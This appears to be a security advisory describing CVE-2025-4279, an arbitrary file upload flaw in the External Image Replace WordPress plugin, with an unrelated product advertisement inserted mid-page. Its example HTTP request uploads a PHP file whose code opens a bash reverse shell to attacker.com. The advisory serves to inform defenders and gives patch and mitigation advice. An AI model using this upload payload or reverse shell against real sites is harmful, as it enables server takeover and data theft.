Overview
The CVE-2025-4279 is a critical vulnerability that exists in the External Image Replace plugin for WordPress. It allows an authenticated user with contributor-level permissions and above to upload arbitrary files to a server. This vulnerability is particularly dangerous as it can pave the way for potential remote code execution on the affected site’s server. The vulnerability affects all versions of the plugin up to and including 1.0.8. Given the widespread usage of WordPress, this vulnerability could potentially impact a large number of websites, making it a significant concern for website administrators and cybersecurity professionals alike.
Vulnerability Summary
CVE ID: CVE-2025-4279
Severity: Critical (CVSS: 8.8)
Attack Vector: Network
Privileges Required: Low (Authenticated user with contributor-level permissions)
User Interaction: Required
Impact: System compromise, potential data leakage
Affected Products
Share secrets securely
Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.
Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.
- • Encrypted identity
- • Private Spaces for organizations and teams
- • End-to-end encrypted chat, calls, files, and notes
- • Sensitive AI work and protected collaboration
- • Built for information that cannot leak
Our mission is to secure human work alongside AI.
Product | Affected Versions
External Image Replace Plugin for WordPress | 1.0.8 and prior versions
How the Exploit Works
The vulnerability resides in the ‘external_image_replace_get_posts::replace_post’ function of the WordPress plugin, which lacks proper file type validation. This allows an authenticated attacker with contributor-level permissions to upload arbitrary files to the server. The lack of file type validation makes it possible for an attacker to upload a malicious file that, when executed, can lead to remote code execution.
Conceptual Example Code
Here is a conceptual example of how an attacker could exploit this vulnerability:
POST /wp-admin/admin-ajax.php?action=external_image_replace_get_posts::replace_post HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/attacker.com/8080 0>&1'"); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker uploads a malicious PHP file that, when executed, opens a reverse shell to the attacker’s server, potentially leading to a full system compromise.
Mitigation Guidance
Users of the affected plugin are advised to apply the vendor-provided patch immediately. Until the patch is applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks. It’s also recommended to restrict user permissions wherever possible and ensure proper file type validation throughout the system.